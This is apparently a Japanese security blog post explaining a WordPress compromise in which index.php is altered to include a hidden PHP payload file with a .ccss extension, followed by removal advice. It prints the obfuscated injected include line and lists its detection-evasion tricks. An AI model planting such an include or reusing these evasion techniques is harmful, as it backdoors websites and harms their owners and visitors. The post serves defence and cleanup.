ワードプレスの新改ざん手法である、.ccssのマルウェアのインクルードについて解説いたします。
ワードプレスのindex.phpの改ざんによる.ccssのインクルード
このマルウェアは、ワードプレスのページが読み込まれるたびに必ず実行されるindex.phpファイルに下記のようなコードを改ざんして埋め込みます。
<?php /*307a3*/ $r2r = "/home/*****/w\x70\x2dincludes/images/media/.36050178.ccss"; strpos($r2r, '97to'); @include_once /* 6ejs7 */ ($r2r); /*307a3*/
このコードはマルウェアの検出を避けるために多くのテクニックを駆使しています。
・\xで一部の文字列をUTF-8のdecimal型に変換している
・いったんパスを変数に入れて検出パターンマッチしにくくしている
・@include_once の後にコメントを挟んで検出パターンマッチしにくくしている
※インクルード文の上下のランダムな文字列のコメント文(/*307a3*/)はマルウェアの改ざんコードが残存しているかを検査するためのものです。
マルウェアの本体は拡張子.ccssのファイル
この不正な@include文を含む埋め込みプログラムはマルウェア本体ではなく、@include文でパス指定して読み込んでいるランダム文字列+拡張子.ccssのファイルになります。
ccssという拡張子は本来ウェブ上に設置するファイルとして使われませんがその中身は下図のようなPHPのプログラムファイルで、@include文で読み込まれて実行されます。
このマルウェアを駆除するには?
マルウェアをプラグイン等で検出、もしくは目視検査の上でインクルード文とマルウェア本体の.ccssファイルを削除する必要がございます。マルウェア本体の.ccssファイルは設置個所が非常に奥まったフォルダだったり、位置がサイトにより変わりますのでフォルダを一つ一つ手作業で調べていくのは難しいかと思われます。
@include文で読み込まれているマルウェア本体は、\xで一部の文字列をUTF-8のdecimal型に変換しているのでパスがどこを指しているのかぱっと見分かりにくくなっています。
このような難読化されたプログラムは、こちらで解除可能です
パスを難読化解除してそのパスにある本体を削除するのが簡単かと思われます。
また、他のバックドアがある可能性やサーバー上のそのほかのサイトに感染がある可能性もあります。
サーバー上にその他のサイトもマルウェアをプラグイン等で検出・駆除、手に負えない場合は専門家にご相談いただくことをお勧めいたします。